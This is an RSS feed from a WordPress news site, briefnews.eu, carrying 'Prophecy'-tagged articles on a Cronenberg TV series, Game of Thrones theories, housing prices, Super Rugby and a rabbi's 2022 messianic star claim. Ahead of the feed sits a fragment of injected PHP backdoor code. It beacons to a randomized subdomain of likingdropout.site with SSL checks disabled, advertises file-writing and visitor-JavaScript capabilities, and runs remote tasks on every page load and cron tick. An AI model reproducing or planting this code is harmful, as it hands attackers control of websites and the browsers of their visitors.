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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Prophecy – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 04 Sep 2018 21:53:22 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Prophecy – Brief News https://briefnews.eu 32 32 David Cronenberg TV Series In the Works, Fulfilling the Prophecy of ‘Videodrome’ https://briefnews.eu/david-cronenberg-tv-series-in-the-works-fulfilling-the-prophecy-of-videodrome/ https://briefnews.eu/david-cronenberg-tv-series-in-the-works-fulfilling-the-prophecy-of-videodrome/#respond Tue, 04 Sep 2018 21:53:22 +0000 http://briefnews.eu/david-cronenberg-tv-series-in-the-works-fulfilling-the-prophecy-of-videodrome/ David Cronenberg TV series

David Cronenberg, master of body horror and movies that make you feel icky and also kind of horny, is working on a TV series. The filmmaker was tight-lipped on what the series will be about, but you can bet it’ll probably be weird and also amazing. More on the David Cronenberg TV series below.

“The battle for the mind of North America will be fought in the video arena: the Videodrome. The television screen is the retina of the mind’s eye. Therefore, the television screen is part of the physical structure of the brain. Therefore, whatever appears on the television screen emerges as raw experience for those who watch it. Therefore, television is reality, and reality is less than television.”

So says Dr. Brian O’Blivion in David Cronenberg’s 1983 masterpiece Videodrome, a film quite literally about television warping the minds of individuals addicted to its pervasive, constant glow. In an instance of life imitating art, Cronenberg is now developing a TV show of his own. The filmmaker has helmed episodes of TV before, but this will be the first show he’s actively developed. At one point, Cronenberg was offered the chance to helm the second season of True Detective, but turned it down because he didn’t care for the script.

So what’s this new David Cronenberg TV series about? The director isn’t telling. During a panel at the Venice Film Festival (via Variety), Cronenberg simply said the series was in the works, but that he couldn’t “talk about it yet.” Cronenberg went on to say that he’s not as caught up in the TV vs. Film dilemma that many other filmmakers of his generation often obsess over.

Other old-school filmmakers still tend to look down on TV as a medium, feeling like it can never compete with the big screen experience of film. Cronenberg, in contrast, says “today TV screens are getting bigger and bigger and therefore the difference between theatre and domestic viewing has become really flimsy…The rule used to be that closeup shots were only done for TV, and not for movies. But today that’s no longer the case.”

I’m a huge fan of (most of) Cronenberg’s films, so I’m very excited to see how this potential TV series turns out. The director has shied away from his previous horror-centric output in recent years, and I sincerely hope whatever this series is, it has a horror element. I also hope it doesn’t make us all go insane like the bootleg TV signal in Videodrome, but beggars can’t be choosers.

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]]> https://briefnews.eu/david-cronenberg-tv-series-in-the-works-fulfilling-the-prophecy-of-videodrome/feed/ 0 Game of Thrones season 8 spoilers: Cersei Lannister’s killer exposed in prophecy clue? https://briefnews.eu/game-of-thrones-season-8-spoilers-cersei-lannisters-killer-exposed-in-prophecy-clue/ https://briefnews.eu/game-of-thrones-season-8-spoilers-cersei-lannisters-killer-exposed-in-prophecy-clue/#respond Sat, 23 Jun 2018 04:54:11 +0000 http://briefnews.eu/game-of-thrones-season-8-spoilers-cersei-lannisters-killer-exposed-in-prophecy-clue/

The one to potentially slay Cersei (played by Lena Headey) in season eight of Game of Thrones could have prematurely been revealed.

In the original A Song of Ice and Fire books by George R. R. Martin on which the HBO drama is based, it is told that when Cersei she a child, she went along with her friends Jayne Farman and Melara Hetherspoon to find a witch, Maggy the Frog, in the forest.

Cersei had three questions for the mysterious woman and in the last one she asked whether or not she would have children with her husband, the king.

Maggy replied: “Oh, aye. Six-and-ten for him, and three for you. Gold shall be their crowns and gold their shrouds, she said. And when your tears have drowned you, the valonqar shall wrap his hands about your pale white throat and choke the life from you.”

The “valonqar” is said to mean little brother in High Valyrian according to Septa Saranella and naturally, Cersei was terrified.

Popular suspects have included Cersei’s literal younger brothers, but some fans think it could mean the phrase in a different sense and so other names have also been thrown into the ring.

But in a poll run by Express.co.uk, readers voted overwhelming for Jaime Lannister (Nikolaj Coster-Waldau) as he won 56 per cent of the vote.

Although the incestuous siblings are twins, Jaime is a fraction younger than Cersei meaning he fits the description.

Their relationship was last seen to be wearing thin as Jaime strode off northward with a view to helping the cause against the White Walkers.

Could he be the valonqar?

In second place sits Arya Stark (Maisie Williams) on 33 per cent as being the one to finish Cersei off.

Although the prophecy describes the valonqar as wrapping “his” hands around her throat, Arya cannot be ruled out.

When it’s considered that Arya has the skills of a Faceless Man, male pronouns could apply to the girl, especially as she has had Cersei on her kill list since the very beginning.

Meanwhile, Tyrion Lannister (Peter Dinklage) has been a longstanding contender for the title as he and his elder sister have always endured a bad relationship.

As the family outcast, Tyrion has continually rebelled against his sister and their disdain for each other is well known. However, only eight per cent of readers plumped for him as the valonqar.

Another “little brother” in the fantasy epic is the Hound, whose elder sibling is Lannister guard dog the Mountain (Hafþór Júlíus Björnsson).

Having fled the Lannister’s service, the Hound has come a long way in terms of character development and considering his hatred for both Cersei and his brother, will he attack them both?

However, there could be a spanner in the works as when the programme depicted the events of the book, the last part of the prophecy was omitted.

It is not known why the show didn’t not include the line, but that doesn’t mean the “valonqar” won’t be the one to take down Cersei, if she does die.

The rest of the prophecy has since come true and with the White Walkers looming and the fight for the Iron Throne heating up, Cersei’s days may be numbered.

Game of Thrones season 8 will return to HBO and Sky Atlantic in 2019. Seasons 1-7 are currently streaming on NOW TV.

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]]> https://briefnews.eu/game-of-thrones-season-8-spoilers-cersei-lannisters-killer-exposed-in-prophecy-clue/feed/ 0 A ‘self-fulfilling prophecy’ is making the housing market more hellish for first-time buyers https://briefnews.eu/a-self-fulfilling-prophecy-is-making-the-housing-market-more-hellish-for-first-time-buyers/ https://briefnews.eu/a-self-fulfilling-prophecy-is-making-the-housing-market-more-hellish-for-first-time-buyers/#respond Wed, 16 May 2018 03:26:48 +0000 http://briefnews.eu/a-self-fulfilling-prophecy-is-making-the-housing-market-more-hellish-for-first-time-buyers/ houses townhouses construction soldDrew Angerer/Getty

  • The share of Americans who think now is a good time to buy because home prices won’t fall is at a record high, according to the University of Michigan’s consumer sentiment survey.
  • This is creating a self-fulfilling prophecy that’s making housing more unaffordable for first-time buyers, according to David Rosenberg, Gluskin Sheff’s chief economist. 

Home prices are near record highs in many cities across America, and the belief they’ll continue rising is encouraging more people to buy. 

The result is a higher barrier to entry for people who want to buy their first homes, according to David Rosenberg, the chief economist at Gluskin Sheff. 

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]]> https://briefnews.eu/a-self-fulfilling-prophecy-is-making-the-housing-market-more-hellish-for-first-time-buyers/feed/ 0 Everything we know about the biggest ‘Game of Thrones’ prophecy and what it means for the future of Jon and Daenerys https://briefnews.eu/everything-we-know-about-the-biggest-game-of-thrones-prophecy-and-what-it-means-for-the-future-of-jon-and-daenerys/ https://briefnews.eu/everything-we-know-about-the-biggest-game-of-thrones-prophecy-and-what-it-means-for-the-future-of-jon-and-daenerys/#respond Mon, 24 Jul 2017 03:45:29 +0000 http://briefnews.eu/everything-we-know-about-the-biggest-game-of-thrones-prophecy-and-what-it-means-for-the-future-of-jon-and-daenerys/ Jon Snow and Daenerys Targaryen side by side Game of ThronesHelen Sloan/HBO

Warning: Spoilers ahead for “Game of Thrones” season seven.

HBO’s “Game of Thrones” just fed more fuel to the fire of prophecy with Melisandre and Daenerys Targaryen’s first meeting on Sunday’s episode, “Stormborn.”

Melisandre teased the possibility that Daenerys might be connected to the rumor prophecy of “The Prince That Was Promised” that keeps cropping up in the series. Daenerys is the third leader in Westeros to whom Melisandre has connected this prophecy of a hero reborn who is destined to fight the coming darkness. First it was Stannis, then Jon Snow, and now Melisandre believes Daenerys has a “role to play,” as well.

We’re going to walk through everything you need to know about the prophesied hero and why both Jon Snow and Daenerys are significant contenders.

The three main accounts of the prophesied hero

In the world of “Game of Thrones” and George R.R. Martin’s “A Song of Ice and Fire,” there are multiple accounts told of a legendary hero. Each group has a different moniker for the hero — Azor Ahai, The Prince That Was Promised, and the Last Hero — but the similarities between the tales have led fans to believe that each hero is really the same person.

Azor Ahai

Melisandre speaks most frequently about Azor Ahai. When we were first introduced to Melisandre and Stannis Baratheon, she proclaimed him to be Azor Ahai reborn. The legend of Azor Ahai comes from ancient texts in Asshai, and they say that a champion of R’hllor, the Lord of Light, will be reborn to fight a darkness.

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“There will come a day after a long summer when the stars bleed and the cold breath of darkness falls heavy on the world,” Melisandre said in Martin’s second book. “In this dread hour, a warrior shall draw from the fire a burning sword. And that sword shall be Lightbringer, the Red Sword of Heroes, and he who clasps it shall be Azor Ahai come again, and the darkness shall flee before him.”

The story of Lightbringer is then told to Ser Davos Seaworth by Salladhor Saan. Azor Ahai forged two swords, both of which shattered when he tried to temper the steel (including the second one, which was plunged into the heart of a lion). 

Then came the third blade. Here’s Saan’s account of its forging:

“Great was his woe and great was his sorrow then, for he knew what he must do. A hundred days and a hundred nights he labored on the third blade, and as it glowed white-hot in the sacred fires, he summoned his wife. ‘Nissa Nissa,’ he said to her, for that was her name, ‘bare your breast, and know that I love you best of all that is in this world.’ She did this thing, why I cannot say, and Azor Ahai thrust the smoking sword through her living heart. It is said that her cry of anguish and ecstasy left a crack across the face of the moon, but her blood and her soul and her strength and her courage all went into the steel. Such is the tale of the forging of Lightbringer, the Red Sword of Heroes.”

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So Lightbringer is a powerful weapon that was created via the sacrifice of Azor Ahai’s greatest love. And for a time, Melisandre claimed Stannis was wielding a fiery sword called Lightbringer. The Red Woman also emphasizes that the hero will be reborn “amidst smoke and salt to wake dragons out of stone.”

The Prince That Was Promised

Melisandre also uses the title “The Prince That Was Promised” (TPTWP) to refer to Azor Ahai, and we hear this title used by other characters as well.

In the books, Daenerys’ vision in the House of the Undying includes a scene of her brother Rhaegar and his wife, Elia Martell. She sees him holding a baby, presumably his second son Aegon, and telling Elia: “He is the Prince That Was Promised, and his is the song of ice and fire.”

There are additional clues within the books that indicated Rhaegar had a slight obsession with this idea of prophecy, and was trying to bring about the hero of the world through his bloodline. Aemon Targaryen (the former maester at Castle Black) also spoke of TPTWP prophecy with Sam Tarly and mentions a bleeding star and smoke and salt — just like Azor Ahai.

Aemon Targaryen and Sam Game of Thrones Helen Sloan HBOHelen Sloan/HBO

Also in the books, Barristan Selmy speaks about a “woods witch” (a book character known to be reliable when it comes to predicting events). The witch said TPTWP would be born from the bloodline of Rhaella and King Aerys Targaryen (the “Mad King” and father to both Daenerys and Rhaegar).

On season six of the show, Melisandre resurrected Jon Snow and told him he was the “The Prince That Was Promised,” reborn with the power of R’hllor for a reason. 

The Last Hero

In the North, there is a legend of the Last Hero, who many book readers believe could also be connected to Azor Ahai and TPTWP. Old Nan tells the tale of the Last Hero to Bran in both the books and on the show, though the TV version of her tale is cut short.

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“What do you know about fear?” Nan told Bran on season one. “Fear is for the winter when the snows fall a hundred feet deep. Fear is for the Long Night, when the sun hides for years and children are born and live and die all in darkness … when the White Walkers move through the woods. Thousands of years ago, there came a night that lasted a generation.”

In the books, her story elaborates on a mysterious hero: 

“So as cold and death filled the earth, the last hero determined to seek out the [Children of the Forest], in the hopes that their ancient magics could win back what the armies of men had lost. He set out into the dead lands with a sword, a horse, a dog, and a dozen companions. For years he searched until he despaired of ever finding the Children of the Forest in their secret cities. One by one his friends died, and his horse, and finally even his dog, and his sword froze so hard the blade snapped when he tried to use it. And the [White Walkers] smelled the hot blood in him and came silent on his trail, stalking him with packs of pale white spiders big as hounds – .”

Her story is interrupted, just as it was on the show. But you can see the similarities between the tale of Azor Ahai and the Last Hero. Both are burdened with fighting the darkness spreading across the land, and his weapon is shattered (though this time through the cold and not because he didn’t forge it with a human sacrifice).

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The main identifying markers of the hero

Before we get to why either Jon Snow or Daenerys Targaryen might be this prophesied hero, let’s review the main identifiers of the would-be savior.

  • A bleeding star will signal their coming.
  • They will be reborn among salt and smoke.
  • They will wield a fiery weapon (possibly called Lightbringer)
  • The weapon’s creation will require the sacrifice of their loved one.
  • They will wake “stone dragons.”
  • And they must be born from the bloodline of Rhaella and Aerys Targaryen.

While many fans have speculated about alternate characters who could fit these descriptors, the two main contenders always boil down to either Jon or Daenerys.

The case for Jon Snow

On the season six finale, “Game of Thrones” finally showed part of the tragic story of Jon Snow’s real parents. His mother, Lyanna Stark, died shortly after giving birth to Jon — but not before begging her brother Ned Stark to take Jon and protect him.

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His father was really Rhaegar Targaryen (a fact confirmed by HBO in a post-finale blog post), the brother of Daenerys and son of the Mad King Aerys.

“Promise me, Ned,” Lyanna said. “Promise me.”

As other fans have pointed out, the constant emphasis in the books and the show on Lyanna saying “promise me” could be interpreted as a sign that Jon is literally a Prince Who Was “Promised.”

His parentage means he is in the bloodline of Aerys and Rhaella Targaryen. Plus if Rhaegar and Lyanna were somehow secretly married, then he could have a legitimate claim to the Iron Throne as a Targaryen prince.

How Jon Snow and Daenerys Targaryen are related Game of Thrones family treeSkye Gould/INSIDER

This also ties back to Daenerys’ vision, where Rhaeger seemed to believe his child would be of the “song of ice and fire.” If Jon is the only known descendant of House Stark (ice) and House Targaryen (fire), this fits the prophecy.

This might be where the “waking of stone dragons” comes in for Jon — his secret Targaryen lineage will likely be revealed at some point, making him a symbolic stone dragon coming to life.

Also, on the show, Ned Stark takes the blood-covered sword of Ser Arthur Dayne with him up to the tower where Lyanna is dying. He sets the blade up against the bed and the shot made sure to focus in on the sword briefly.

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In the books, we know that Arthur Dayne’s sword, Dawn, was made from the material left behind from a fallen star. This means (on the show) that there was a bloody “star” present at Jon’s birth.

Another huge book clue comes from a chapter narrated by Melisandre:

“I pray for a glimpse of Azor Ahai, and R’hllor shows me only Snow,” she says. Not just snow, but capitalized “Snow” — a clear indicator that the Lord of Light is showing her Jon when she asks to see Azor Ahai.

As for the salt and smoke, the scene of Jon’s assassination by the Night’s Watch in the books is slightly different from the show. One of the men who stab him, Bowen Marsh, is described as crying salty tears, and Jon’s wounds appear to be smoking. There’s also a tie-in to the bleeding star at his death, thanks to another dying man present, whose heraldry is a cluster of stars.

Davos Melisandre Jon Snow Game of ThronesHelen Sloan/HBO

The last piece of the puzzle would be Lightbringer and the sacrifice of Jon’s “Nissa Nissa.” Some believe Jon’s Valyrian steel sword would make sense as a pseudo-Lightbringer. The blade can kill White Walker and we know Valyrian steel is forged with an ancient magic.

As for the sacrifice, some believe Ygritte could serve as Jon’s sacrifice, but that’s a thin argument. It’s possible we haven’t yet seen a major sacrifice Jon will make in order to fulfill his role of hero.

The case for Daenerys Targaryen

Daenerys is another very strong possibility for Azor Ahai, born on Dragonstone among the salty sea. She literally woke dragons from stone when she placed her fossilized dragon eggs into Khal Drogo’s funeral pyre.

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She was also “reborn” in the smoking flames, emerging unscathed as the Mother of Dragons. And all of this happened right when a red comet, a “bleeding star” appeared in the sky.

So Khal Drogo could arguably be Daenerys’ “Nissa Nissa” if we treat her dragons as Lightbringer. It’s not a stretch to call them a fiery weapon capable of defeating darkness, especially since we think dragonfire can kill White Walkers.

And Aemon Targaryen believes Daenerys is TPTWP. In the books, he tells Sam that “prince” is a misinterpretation of the prophecy.

“Dragons are neither male nor female […] but now one and now the other, as changeable as flame,” Aemon said. “The language misled us all for a thousand years. Daenerys is the one, born amidst salt and smoke.”

Kinvara Red Woman Game of Thrones season six Helen Sloan/HBO

Then there was the High Priestess of R’hllor, Kinvara, who appeared on season six. She told Tyrion and Varys that Daenerys was the chosen hero meant to fight the coming darkness. So what gives with Melisandre contradicting this belief?

Where “Game of Thrones” seems to be going with the prophecy

On season seven, episode two, “Stormborn,” Missandei added further evidence regarding the misinterpretation of “prince” in this prophecy.

“The Long Night is coming,” Melisandre told Daenerys. “Only the Prince Who Was Promised can bring the dawn.”

When Daenerys pointed out that she is not a prince, Missandei stepped in to correct the translation.

“That noun has no gender in High Valyrian,” Missandei explained. “So the proper translation would be the prince or princess who was promised.”

Melisandre Red Woman Game of Thrones season 7Helen Sloan/HBO

Daenerys turned back to Melisandre. “And you believe this prophecy refers to me?

“Prophecies are dangerous things,” Melisandre told the Dragon Queen. “I believe you have a role to play, as does another. The King in the North — Jon Snow.”

With strong arguments to be made for both Daenerys and Jon, you can also make the case for Azor Ahai needing to be more than one person. As Melisandre seemed to imply, what if Jon and Daenerys combined are the prophesied hero? You could argue that Jon represents ice and Daenerys represents fire, making their connection the “song of ice and fire.” 

Plus Jon would wield the literal sword while Daenerys fought with her dragonfire, and they’re both descended from the bloodline of Aerys and Rhaella Targaryen. 

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Then there’s the Last Hero prophecy. Many markings of that hero are connected to Bran Stark’s journey — especially the section about him venturing out to meet the Children of the Forest and find a way to fight the White Walkers. Isn’t that exactly what Bran’s been doing? What if Bran, Jon, and Daenerys are all meant to work in conjunction to fight the coming Night King and his army? Will one of them betray the other and sacrifice them as “Nissa Nissa” in order to truly end the long night?

George R.R. Martin has spoken about the role of prophecy in his books.

“Prophecies are, you know, a double edge sword,” he said in an interview with Adrias News in 2012. “You have to handle them very carefully; I mean, they can add depth and interest to a book, but you don’t want to be too literal or too easy.”

While we may never know for certain who Azor Ahai is, we can be sure to expect the unexpected when it comes to the fulfillment of the legends in Martin’s universe.

For more on theories that may come true in the show, read our round up of the 10 likeliest fan predictions.

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JAMIE PANDARAMThe Daily Telegraph

IT was the bold warning delivered three weeks ago in Sydney that could derail the Brumbies’ finals hopes.

Having shocked the Super Rugby competition by defeating the Waratahs at Allianz Stadium, the Southern Kings’ star five-eighth Lionel Cronje declared they’d win plenty more games before the season was done.

Since then, the lowly Kings are undefeated, and now host the Brumbies next Sunday in a match that will have defining ramifications for the Australian conference.

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Most reflected on the woeful performance of NSW that night on April 21, and few heeded Cronje’s warning.

Lionel Cronje in action for the Kings.

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“This isn’t going to be our last win,” Cronje said after the Kings won 26-24.

“We’re going to win plenty more games before the end of this competition, I can guarantee that.”

Since then, the Kings have hammered the Melbourne Rebels 44-3, had a bye, then last weekend produced another huge shock by defeating the high-flying Sharks 35-32.

The Brumbies’ form has gone in the opposite direction, losing four games in a row after a blazing start that made it unlikely they’d be knocked off top spot in the Aussie conference.

While the Canberra side still leads the conference, their 19 points is looking precarious as the Reds (16), Waratahs (14) and Western Force (13) mount late charges.

It is no coincidence that the Kings’ winning run started after SANZAAR confirmed next year;s Super Rugby tournament will be cut from 18 to 15 teams, leaving the Kings as a likely candidate to be axed from the South African franchise, which Cronje had touched on in Sydney.

“It’s a true testament to the character of the team and the way that these men have stood up to these challenges,” Cronje said.

“It’s definitely been an emotional three weeks for us, to get the news while we were on tour.

“It’s really put pressure not only on our coach and not only on the players and the administrators, but pressure on our families.”

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]]> https://briefnews.eu/kings-prophecy-haunts-brumbies/feed/ 0 Jesus’ Second Coming Will Occur in 2022, Israeli Rabbi Claims: Star Collision Predicted By Astronomers Fulfills Balaam’s Messianic Prophecy https://briefnews.eu/jesus-second-coming-will-occur-in-2022-israeli-rabbi-claims-star-collision-predicted-by-astronomers-fulfills-balaams-messianic-prophecy/ https://briefnews.eu/jesus-second-coming-will-occur-in-2022-israeli-rabbi-claims-star-collision-predicted-by-astronomers-fulfills-balaams-messianic-prophecy/#respond Tue, 24 Jan 2017 00:23:21 +0000 http://briefnews.eu/jesus-second-coming-will-occur-in-2022-israeli-rabbi-claims-star-collision-predicted-by-astronomers-fulfills-balaams-messianic-prophecy/ The second coming of Jesus

An Israeli Rabbi has claimed that the biblical prophecy of Balaam, which says that the appearance of a new star will precede the coming of the Messiah, matches an astronomical event that scientists predict will occur in 2022. Although the Jewish faith does not believe that Jesus is the Messiah, some Christians have interpreted the Rabbi’s prediction as proof that Jesus’ second coming will occur in 2022.

Rabbi Yosef Berger of King David’s Tomb on Mount Zion claimed that biblical prophecy of Balaam and “Jewish esoteric sources” show that the astronomical event predicted for 2022, the collision of two stars to form a brand new star in the night sky, will herald the arrival of the Messiah. The astronomical event fulfills an ancient prophetic sign of the coming of the Messiah, the Rabbi claimed, according to Breaking Israel News.

Rabbi Berger claimed that Balaam’s prophecy and other Jewish mystical sources say that the coming of the Messiah will be preceded by heavenly signs involving multiple stars. The ancient prophecy of the arrival of the Messiah matches recent predictions by astronomers that a dazzling display from a red nova explosion will appear in the sky in 2022, following the collision of two faint stars in the constellation of Cygnus, according to the Rabbi.

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Israeli Rabbi says star collision in 2020 heralds Jesus’ Second Coming. [Image by Askib/Shutterstock]

The star star system, known as KIC 9832227, is a contact binary system, that is two stars so close in space that they are touching. But the two stars that make up KIC 9832227 will merge into one, generating gas that forms an explosion known as a red nova. The powerful explosion will increase the brightness of the binary star system 10,000 times, astronomers said.

The red nova explosion will be very bright in the night sky — as bright as the Polaris star, according to the website Astronomy. The explosion due to the collision in the constellation Cygnus will be visible for up to six months.

Calvin College professor of astronomy and physics Lawrence Molnar explained during a recent American Astronomical Society meeting in Texas that the two stars in the constellation of Cygnus, about 1,800 light years away, have already collided and exploded but the light from the event will be seen on Earth for the first time in 2022.

“This is not a birth of a star by normal means,” he said in an interview with RT America. “This is starting with two already existing stars, and as they evolved over time the two stars come close to each other.”

“They are so close they are touching each other. The new star [forms] when the two merge together,” he said.

However, according to Rabbi Berger, the astronomical phenomenon fulfills ancient prophecy in Numbers 24:17 about a heavenly sign that heralds the coming of the Messiah.

“I see him, but not now; I behold him, but not nigh; there shall step forth a star out of Yakov, and a scepter shall rise out of Yisrael, and shall smite through the corners of Moab, and break down all the sons of Seth.” Numbers 24:17

Berger cited Rabbi Moses ben Maimon (Rambam), a highly influential 12th century scholar of the Torah.

“The Rambam brings this verse about a star appearing as proof that the Messiah will come one day,” he told Breaking Israel News. “But he says it will come from Jacob, and not from Esau, more specifically from the tribe of Judah.”

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Jesus’ second coming will occur in 2022, according to biblical prophecy, Rabbi claims [Image by Iurii/Shutterstock]

He also cited the Zohar, a work of Jewish mysticism, which gives details of the color and nature of stars that will appear before the arrival of the Messiah.

“The Zohar states explicitly that the Messianic process will be accompanied by several stars appearing,” he said. “The Zohar goes into great depth, describing how many stars, and which colors they will be.”

Rabbi Berger’s prediction has sparked excitement in Jewish and Christian messianic circles. Christians who believe that Jesus is the Messiah interpreted Rabbi Berger’s prediction as referring to the second coming of Jesus.

“The Bible says that no-one knows neither the date nor the hour when the Lord Jesus will come again. Only the Father knows,” a believer said. “But be sure, it may be very soon. He will come to separate His sheep from the goats and then shall the end come.”

“More than 98 percent of bible prophecy has already come to pass with stunning accuracy,” another believer said. “It’s just the last bit that needs to be fulfilled and for every last sheep to enter the fold.”

According to Ira Machefsky, an amateur astronomer from Mizpeh Ramon in Israel, “The Heavens, especially unique phenomena like this nova, are a manifestation of God’s intellect.”

“God works through nature, and astronomy and astrology are prominent in Jewish mysticism,” he said.

But others were skeptical.

“Every year for the last 2000 years there is a prediction for the return of the messiah. I think we can logically and rationally conclude by now that no one is coming to save anyone,” a skeptic commented. “Get on with your lives; make it better for the people around you because no one is coming again.”

“It is very unlikely that Jesus would arrive on such a weak star occurrence,” a third skeptic said.

Astronomers are also excited about the predicted red nova explosion.

“If the prediction is correct, then for the first time in history, parents will be able to point to a dark spot in the sky and say, ‘Watch, kids, there’s a star hiding in there, but soon it’s going to light up!” said Matt Walhout, dean at Calvin College.

This is the first time that astronomers have predicted a nova.

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